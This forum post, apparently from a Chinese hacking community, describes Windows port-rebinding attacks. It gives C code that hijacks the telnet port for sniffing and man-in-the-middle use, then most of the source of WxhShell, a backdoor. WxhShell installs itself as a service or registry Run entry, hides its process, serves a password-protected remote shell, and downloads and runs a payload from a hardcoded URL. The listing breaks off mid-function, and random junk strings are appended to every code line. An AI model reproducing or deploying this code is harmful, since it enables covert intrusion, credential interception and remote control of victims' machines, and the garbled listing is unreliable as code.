社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13293阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /@1YlxKF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *P7/ry^<F  
_4L6  
  saddr.sin_family = AF_INET; 5fiWo^s}  
bQq/~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K x) PK  
[ei~Xkzkj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %s+'"E"E  
R6fkc^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nj2l>[L;  
/t7f5mA  
  这意味着什么?意味着可以进行如下的攻击: .AO-S)wHR  
Op]*wwI*h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n~\; +U  
9{Etv w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RC1bTM  
u<fZ.1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 > K,QP<B  
Jh&DL8`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M@h"FuX:  
= <Sn&uL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hI*v )c  
ak| VnNa]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T!y 9v5  
2AhfQ%Y=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OOXSJE1  
L YB @L06a  
  #include 5m0lk|`  
  #include w*/@|r39  
  #include |k*bWuXgLs  
  #include    =d ;#Nu-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [fT$# '6  
  int main() uyk;]EYjHZ  
  { y3 N[F  
  WORD wVersionRequested; E8#aE\'t  
  DWORD ret; xcmg3:s  
  WSADATA wsaData; s6!&4=ZA  
  BOOL val; z{w %pUn}  
  SOCKADDR_IN saddr; G]k[A=dg  
  SOCKADDR_IN scaddr; [[<TW}  
  int err; uQdy  
  SOCKET s; =gJ{75tV3  
  SOCKET sc; nyR<pnuC'  
  int caddsize; fUWrR1  
  HANDLE mt; JmR2skoV,  
  DWORD tid;   >I~Q[  
  wVersionRequested = MAKEWORD( 2, 2 ); d1c+Ii%  
  err = WSAStartup( wVersionRequested, &wsaData ); X=m^+%iD  
  if ( err != 0 ) { J Hm Pa  
  printf("error!WSAStartup failed!\n"); $},XRo&R  
  return -1; }`QZV_  
  } :ZB.I(v  
  saddr.sin_family = AF_INET; +8?18@obp  
   ,qp8Rg|3j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3]JJCaf  
WZ,k][~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;4b=/1M'  
  saddr.sin_port = htons(23); Yq|_6zbYf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S{&%tj~U  
  { hO.b?>3NL  
  printf("error!socket failed!\n"); Fy E#@ R  
  return -1; e/+.^ '{  
  } t(roj@!x_o  
  val = TRUE; +3zQ"lLD^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *@#Gc%mGu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N]iarYc  
  { Q) aZ0 Pt  
  printf("error!setsockopt failed!\n"); B%Qo6*b  
  return -1; EU:N9oT  
  } ]W Yub1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >/4[OPB0R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t~K[`=G\ex  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5ta;CG  
'do2n/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Uq'W<.v 5  
  { S{e3aqT#N  
  ret=GetLastError(); 3zKeN:w  
  printf("error!bind failed!\n"); wt9f2  
  return -1; sj/k';#g  
  } Jv3G\9_  
  listen(s,2);  C&qo$C  
  while(1) mUP!jTF  
  { ju[y-am$/  
  caddsize = sizeof(scaddr); 'JdK0w#  
  //接受连接请求 rWNe&gFM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "y7\F9  
  if(sc!=INVALID_SOCKET) %`5K8eB  
  { 9"S iHp\)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e&i`/m5  
  if(mt==NULL) f!YlYk5  
  { &P}t<;  
  printf("Thread Creat Failed!\n"); |+HJ>xA4I  
  break; Gq[5H(0/c  
  } !'# D~   
  } _qf~ hhi  
  CloseHandle(mt); `0U\|I#  
  } nTGf   
  closesocket(s); F?a 63,r  
  WSACleanup(); -UidU+ES;  
  return 0; 0 !%G #~th  
  }   }[!=O+g O  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0%&}wUjV  
  { A*+gWn,4Y_  
  SOCKET ss = (SOCKET)lpParam; (c}!gjm  
  SOCKET sc; 4Lk<5Ho  
  unsigned char buf[4096]; Dl0{pGK~  
  SOCKADDR_IN saddr; \DE, ,  
  long num; C"5P7F{  
  DWORD val; fHZ9wK>  
  DWORD ret; t D 8l0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xa]yq%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OYWHiXE6]  
  saddr.sin_family = AF_INET;  _fn7-&6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PeiRe  
  saddr.sin_port = htons(23); > JA-G@3i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5-fASN.Lx  
  { :!CnGKgt  
  printf("error!socket failed!\n"); #=)>,6Z w  
  return -1; v\G 7V  
  } `q^qe>'  
  val = 100; $u ,6x~>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |/xA5_-N  
  { E6xdPjoWy  
  ret = GetLastError(); hfbu+w):  
  return -1; {0,6- dd5  
  } G,<d;:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T3=h7a %=  
  { !9r%d8!z  
  ret = GetLastError(); H2[0@|<<  
  return -1; fH9"sBiO  
  } ,:K{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :'q$emtY  
  { SzeY?04zj:  
  printf("error!socket connect failed!\n"); P$y'``  
  closesocket(sc); q4!\^HwQ  
  closesocket(ss); &|'yqzS3  
  return -1; Mby4(M+&n  
  } E%8uQ2p(  
  while(1) qo \9,<  
  { eG2'W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s 8K.A~5 w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F"M/gy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jp4-w(  
  num = recv(ss,buf,4096,0); hop| xtai;  
  if(num>0) XGe;v~L  
  send(sc,buf,num,0); @C=gMn.E  
  else if(num==0) &k_LK  
  break; 7KUf,0D  
  num = recv(sc,buf,4096,0); byt$Wqdl  
  if(num>0) 7J6Z?  
  send(ss,buf,num,0); FY)]yz  
  else if(num==0) g<^A(zM  
  break; M?('VOy)  
  } .C+(E@eyA  
  closesocket(ss); P =Q+VIP&  
  closesocket(sc); 4DL2 A;T  
  return 0 ; /|&4&$  
  } * Z)j"i  
4|Y1W}!0/  
1VG]|6f  
========================================================== t(6i4c>  
W79.Nj2`  
下边附上一个代码,,WXhSHELL |${ImP  
`?l /HUw  
========================================================== yXEI%2~)  
"D4% A!i  
#include "stdafx.h" (s|WmSQ  
x7gd6"10^  
#include <stdio.h> (w"(RM~  
#include <string.h> %}~(%@qB>+  
#include <windows.h> |9FrVO$M  
#include <winsock2.h> ?A.ah  
#include <winsvc.h> %c]N-  
#include <urlmon.h> uxKO"  
Z'5&N5hx  
#pragma comment (lib, "Ws2_32.lib") tZg)VJQys  
#pragma comment (lib, "urlmon.lib") vy={ziJ  
>hG*=4oh  
#define MAX_USER   100 // 最大客户端连接数 hiV!/}'7  
#define BUF_SOCK   200 // sock buffer }{,Wha5\n  
#define KEY_BUFF   255 // 输入 buffer up8d3  
>e.KD) qA  
#define REBOOT     0   // 重启 ?5};ONjN  
#define SHUTDOWN   1   // 关机 #J5_z#-Q;  
U6H3T0#  
#define DEF_PORT   5000 // 监听端口 /f oI.S  
NZ8X@|N  
#define REG_LEN     16   // 注册表键长度 L"S2+F)n  
#define SVC_LEN     80   // NT服务名长度 Tz9 (</y  
pJl/d;Cyrb  
// 从dll定义API K(lVAKiP]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;;CNr_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )ryP K"V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C}jrx^u>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CHO_3QIz  
>@?mP$;=  
// wxhshell配置信息 ~g#/q~UE  
struct WSCFG { Y+$]N:\F\  
  int ws_port;         // 监听端口 )~"0d;6_  
  char ws_passstr[REG_LEN]; // 口令 5efN5Kt  
  int ws_autoins;       // 安装标记, 1=yes 0=no BOA7@Zaa$p  
  char ws_regname[REG_LEN]; // 注册表键名 %FqQ+0^  
  char ws_svcname[REG_LEN]; // 服务名 t"J{qfNs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  H4YA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Z{s,!z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z_KCG2=5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -h ^MX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \4<|QE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rp1+K4]P  
=;I+: K  
}; #bG6+"g{=L  
ku}`PS0UGd  
// default Wxhshell configuration 'YbE%i}  
struct WSCFG wscfg={DEF_PORT, cAVdH{$"  
    "xuhuanlingzhe", lMg#zT!?  
    1, $II ~tO  
    "Wxhshell", )~nieQEZQ  
    "Wxhshell", lS p"(&  
            "WxhShell Service", Fe: ~M?]  
    "Wrsky Windows CmdShell Service", F)imeu  
    "Please Input Your Password: ", { JDD"z  
  1, H~Uy/22aQy  
  "http://www.wrsky.com/wxhshell.exe", (LXYx<  
  "Wxhshell.exe" 8~RJnwF^  
    }; '<ZHzDW@  
kou7_4oS  
// 消息定义模块 4 540Lw'A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -lv(@7o~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $XkO\6kh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gyh8  
char *msg_ws_ext="\n\rExit."; V=1zk-XC  
char *msg_ws_end="\n\rQuit."; jr#*;go  
char *msg_ws_boot="\n\rReboot..."; E&@#*~   
char *msg_ws_poff="\n\rShutdown..."; <_=O0 t| 6  
char *msg_ws_down="\n\rSave to "; c1y+k vv  
b<"jmB{  
char *msg_ws_err="\n\rErr!"; ]Z85%q^`  
char *msg_ws_ok="\n\rOK!"; &U}8@;  
W|n$H`;R  
char ExeFile[MAX_PATH]; 5.yiNWh  
int nUser = 0; II~91IEk  
HANDLE handles[MAX_USER]; R@_3?Z!W=  
int OsIsNt; sD{Wc%5  
kG}F/GN?  
SERVICE_STATUS       serviceStatus; `2x.-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0mmHN`<  
gnxD'1_  
// 函数声明 alNn(0MG  
int Install(void); Y"s8j=1m  
int Uninstall(void); Pq(LW(  
int DownloadFile(char *sURL, SOCKET wsh); T 7qHw!)  
int Boot(int flag); gLZJQubz 6  
void HideProc(void); anfnqa8  
int GetOsVer(void); #&L7FBJ"*v  
int Wxhshell(SOCKET wsl); \\Q){\S  
void TalkWithClient(void *cs); 3=Rk(%:;  
int CmdShell(SOCKET sock); 5e7\tBab  
int StartFromService(void); A9"!=/~  
int StartWxhshell(LPSTR lpCmdLine); ^\J-LU|"B  
cc}#-HKR[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9zCuVUcd$.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ocUBSK|K)  
D~M R)z_p~  
// 数据结构和表定义 o>Dd1 j  
SERVICE_TABLE_ENTRY DispatchTable[] = KQw>6)  
{ UVgSO|Tg  
{wscfg.ws_svcname, NTServiceMain}, R>;&4Sjr  
{NULL, NULL} `Gl[e4U  
}; #,XZ@u+  
(FgX9SV]p9  
// 自我安装 MpJ<.|h  
int Install(void) q 6>}  
{ UK,sMKbl1  
  char svExeFile[MAX_PATH]; l7@cov  
  HKEY key; 8]1,EE<  
  strcpy(svExeFile,ExeFile); IJDbm}:/e  
$}z/BV1I  
// 如果是win9x系统,修改注册表设为自启动 Wyeb1  
if(!OsIsNt) { 7-u'x[=m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q&?0 ^;r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hJir_=  
  RegCloseKey(key); #qD[dC$[t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]\L+]+u~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gm!sLZ!X  
  RegCloseKey(key); 8.I3%u  
  return 0; /_Ku:?{  
    } }Ujgd2(U  
  } asLrXGGyT  
} `s Pk:cNz~  
else { |90X_6(  
du#f_|xG  
// 如果是NT以上系统,安装为系统服务 [/ertB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  y}|E)  
if (schSCManager!=0) I Xm[c@5l  
{ N#$]W"U  
  SC_HANDLE schService = CreateService 9nFWJn  
  ( KH=3HN}  
  schSCManager, $\~cWpv  
  wscfg.ws_svcname, Tm7LaM  
  wscfg.ws_svcdisp, {Ja(+NQ  
  SERVICE_ALL_ACCESS, b0@K ~O;g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gwXmoM5  
  SERVICE_AUTO_START, WpnP^gmX  
  SERVICE_ERROR_NORMAL, %f1IV(3Qc  
  svExeFile, 3Lq9pdM>2@  
  NULL, ux| QGT2LY  
  NULL, ^=1u2YdVw  
  NULL, -o!bO9vC  
  NULL, LEOa=(mN\  
  NULL l+hOD{F4pS  
  ); k%kEW%I yG  
  if (schService!=0) 'd&4MA0X  
  { |3Oyg?2  
  CloseServiceHandle(schService); t imY0fx #  
  CloseServiceHandle(schSCManager); yx:+Xy*N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Bzx}7A  
  strcat(svExeFile,wscfg.ws_svcname); 7n+,!oJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _9p79S<+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d"Wuu1tEY  
  RegCloseKey(key); -p>1:M <  
  return 0; Q6e7Z-8  
    } A,=> |&*  
  } 1\Pjz Lj  
  CloseServiceHandle(schSCManager); /{R.   
} i1m>|[@k  
} ^3H:I8gRCl  
|JHNFs  
return 1; T{"Ur :p  
} k*\)z\f  
gFu,q`Vf*  
// 自我卸载 J]{<Z?%  
int Uninstall(void) z,2*3Be6V  
{ -o{ x ;:4  
  HKEY key; ) jvI Nb  
=NI?Jk*iAq  
if(!OsIsNt) { 1,Mm+_)B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 v.8  
  RegDeleteValue(key,wscfg.ws_regname); V3r)u\ o'  
  RegCloseKey(key); MuP>#Vk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _<Ij)#Rq7  
  RegDeleteValue(key,wscfg.ws_regname); >D}|'.&  
  RegCloseKey(key); (c^ {T)  
  return 0; ;BT7pyu%[  
  } 3/yt  
} dC-~=}HR^  
} {x_cgsn  
else { ',t*:GBZCf  
ZZTf/s*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y@1QVt04  
if (schSCManager!=0) (6:.u.b  
{ Th*}U&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gH\>", [  
  if (schService!=0) 748:* (O  
  { HpfZgkC+  
  if(DeleteService(schService)!=0) { 'd&d"E[  
  CloseServiceHandle(schService); x a<KF  
  CloseServiceHandle(schSCManager); O"\_%=X9  
  return 0; bGK*1FlH  
  } EJb+yy6  
  CloseServiceHandle(schService); |O oczYf  
  } 4\*:Lc,-  
  CloseServiceHandle(schSCManager); w\eC{,00:  
} F'|e:h  
} ?CC.xE  
T6=|)UTe1  
return 1; V+@}dJS  
} 5y\35kT'  
7Hgn/b[?b  
// 从指定url下载文件 >wt.)c?5  
int DownloadFile(char *sURL, SOCKET wsh) kD%MFT4  
{ y%61xA`#  
  HRESULT hr; bu_@A^ys  
char seps[]= "/"; d,(q 3  
char *token; |uw48*t  
char *file; Fw{@RQf8  
char myURL[MAX_PATH]; .35~+aqC  
char myFILE[MAX_PATH]; xE^G*<mj:  
M<*Tp^Y'  
strcpy(myURL,sURL); ~O PBZ#  
  token=strtok(myURL,seps); ytjZ7J['{  
  while(token!=NULL) [MwL=9;!H  
  { {#,5C H')  
    file=token; t&=bW<6  
  token=strtok(NULL,seps); rr1'| k "  
  } .KC V|x;QW  
z uW4gJ  
GetCurrentDirectory(MAX_PATH,myFILE); ?YZgH>7"  
strcat(myFILE, "\\"); V6HZvuXV!  
strcat(myFILE, file); ,Ww}xmq1H  
  send(wsh,myFILE,strlen(myFILE),0); "5 ~{  
send(wsh,"...",3,0); sCzpNJ"8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zy;jp*Q  
  if(hr==S_OK) F+Qnf'at1  
return 0; 1Td`S1'#yg  
else .S#i/A'x  
return 1; |9]-_a  
qK#"uU8B  
} *GBV[D[G,  
R+(f~ j'  
// 系统电源模块 ?hc=w2Ci  
int Boot(int flag) vfv?QjR  
{ ~/-SKGzo-  
  HANDLE hToken; A^X\  
  TOKEN_PRIVILEGES tkp; ('C)S)98C  
ecz-jZ! `  
  if(OsIsNt) { Y,Z$U| U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [7gz?9VyLF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xW5`.^5  
    tkp.PrivilegeCount = 1; [m h>N$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `^hA&/1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :.XlAQR~b  
if(flag==REBOOT) { iJOG"gI&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f>C+l(  
  return 0; ]w;t0Bk  
} 5 0-7L,  
else { ?&eS}skL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0[%{YmI{W  
  return 0; Cy6!?Mik  
} W$SV+q(rT  
  } #iv4L  
  else { SH=S>  
if(flag==REBOOT) { Ea<\a1Tl43  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9=]HOUn  
  return 0; [qRww]g;P|  
} H7&y79mB  
else { UR _Ty59  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Kf@<=  
  return 0; ^" g?m  
} mIYKzu_k=  
} OhCdBO  
\9#f:8Q  
return 1; +[uh);vD`G  
} 1 Vt,5o5  
*k,3@_5  
// win9x进程隐藏模块 !J#P 'x0  
void HideProc(void) ^$O(oE(D  
{ 9D=X3{be#  
|mn} wNUN]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ri59LYy=  
  if ( hKernel != NULL ) ">t^jt{  
  { l9eTghLi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .U|'KCM9m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !w%c= V]tV  
    FreeLibrary(hKernel); 8gE p5  
  } H@wjZ;R  
yy8BkG(  
return; K\xM%O?  
} XBCHJj]k  
r^C(|Vx  
// 获取操作系统版本 y< dBF[  
int GetOsVer(void) x  zF  
{ YB4 ZI  
  OSVERSIONINFO winfo; OQ_< Vxz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W? 4:sLC#3  
  GetVersionEx(&winfo); Y#V(CIDe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x+6z9{O  
  return 1; urx?p^c  
  else J9 NuqV3  
  return 0; #'%ii,;w Q  
} :'ZR!w  
,JK0N_=  
// 客户端句柄模块 R+uZi~  
int Wxhshell(SOCKET wsl) 3T]cDVQ_  
{ y4p"LD5%^  
  SOCKET wsh; 44P [P{y  
  struct sockaddr_in client; n5A|Zjk;  
  DWORD myID; M=;csazN  
{%>~ ]9E  
  while(nUser<MAX_USER) gE@Pb  
{ dS 4/spNq  
  int nSize=sizeof(client); FN!?o:|(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *lLCH,  
  if(wsh==INVALID_SOCKET) return 1; .@nfqv7{  
zFO0l).  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MDIPoS3BRa  
if(handles[nUser]==0) }6%\/d1~ 6  
  closesocket(wsh); Sft vN-  
else DPW^OgL;  
  nUser++; Lc}hjK  
  } L7rr/D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5TuwXz1v  
e#mf{1&  
  return 0; ^znUf4N1  
} M61Nl)|mx&  
lc5(^ ~  
// 关闭 socket $X)|`$#pL#  
void CloseIt(SOCKET wsh) !L9|iC:8  
{ ?OnL,y|  
closesocket(wsh); MH'%E^n `  
nUser--; _7:Bxx4B  
ExitThread(0); =*ErN  
} h~ _i::vg  
!+@70|gFF  
// 客户端请求句柄 g]z k`R5  
void TalkWithClient(void *cs) B!quj!A  
{ <`vXyPA6  
RY)x"\D  
  SOCKET wsh=(SOCKET)cs; ,|\\C6s  
  char pwd[SVC_LEN]; ET9tn1  
  char cmd[KEY_BUFF]; yc7b%T*Y  
char chr[1]; BWYv.&=(  
int i,j;  jMI30  
p{GO-gE@  
  while (nUser < MAX_USER) { Q Rr9|p{  
[>p!*%m  
if(wscfg.ws_passstr) { ( EJ1g^|"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :/][ n9J^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0~$9z+S  
  //ZeroMemory(pwd,KEY_BUFF); DcaKGjp  
      i=0; |;Jt * _  
  while(i<SVC_LEN) { sxF2ku4A  
~e[qh+  
  // 设置超时 8b 7I\J`  
  fd_set FdRead; qrw*?6mSQ  
  struct timeval TimeOut; =eW4?9Uq  
  FD_ZERO(&FdRead); 'Bt!X^  
  FD_SET(wsh,&FdRead); Gy["_;+xU  
  TimeOut.tv_sec=8; .c<U5/  
  TimeOut.tv_usec=0; R1Rk00Ow:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _/P;`@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "\;n t5L  
=m (u=|N3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0k\,z(e  
  pwd=chr[0]; CHqi5Z/+  
  if(chr[0]==0xd || chr[0]==0xa) { ak:f4dEd  
  pwd=0; ^5~x*=_  
  break; FYC]^D  
  } E3S0u7 Es  
  i++; snkMxc6c[  
    } s@%>  
SbL7e#!!  
  // 如果是非法用户,关闭 socket X04LAYY_u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $/Q\B(X3  
} dVLrA`'P*  
mz<,nR\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XHgW9;M!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a|t{1]^w`  
K`X'Hg#_P2  
while(1) { zD8$DG8  
n'pJl  
  ZeroMemory(cmd,KEY_BUFF); ON!Fk:-  
@ kv~2m  
      // 自动支持客户端 telnet标准   0;`FS /[(f  
  j=0; o%lxEd r  
  while(j<KEY_BUFF) { h'G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wt@TR~a  
  cmd[j]=chr[0]; IR2Qc6+{  
  if(chr[0]==0xa || chr[0]==0xd) { @0H0!9'  
  cmd[j]=0; Bo ywgL|  
  break; 6f#Mi+"  
  } Moi RAO  
  j++; +Gy9K  
    } FR'Nzi$  
L5d YTLY  
  // 下载文件 P $ h) Y  
  if(strstr(cmd,"http://")) { DTi^* Wj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vYLspZ;S  
  if(DownloadFile(cmd,wsh)) ?AxB0d9z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9'|k@i:  
  else oGeV!hD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  rB(Q)N  
  } A -8]4p::  
  else { r_bG+iw7p  
7bGt'gvv  
    switch(cmd[0]) { r0&LjH&R  
  Ik5-ooZ&{  
  // 帮助 Ha ZV7  
  case '?': { Eoo[H2=^H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  1v3  
    break; ?0z/i^I  
  } M,{;xf  
  // 安装 0$y HO2 f  
  case 'i': { gLo&~|=L-  
    if(Install()) >U4bK^/Bp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P$ b5o  
    else fyx Q{J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W S9:*YH  
    break; i8EKzW  
    } w}07u5  
  // 卸载 Ut1s~b1  
  case 'r': { MD4m h2  
    if(Uninstall()) yVPFH~1@\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%wngiz\  
    else nddCp~NX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0T$`;~  
    break; \b)P4aL  
    } q9^.f9-  
  // 显示 wxhshell 所在路径 <0l:B ;3  
  case 'p': { 8) `  
    char svExeFile[MAX_PATH]; b-c6.aKf|  
    strcpy(svExeFile,"\n\r"); <A\g*ld  
      strcat(svExeFile,ExeFile); P6v@ Sn  
        send(wsh,svExeFile,strlen(svExeFile),0); b*nI0/cbR.  
    break; K6~')9 Q  
    } DEfhR?v  
  // 重启 R iLqMSq  
  case 'b': { xA n|OSe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~7\`qH  
    if(Boot(REBOOT)) %hBw)3;l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %$_?%X0=t  
    else { vKkvB;F41  
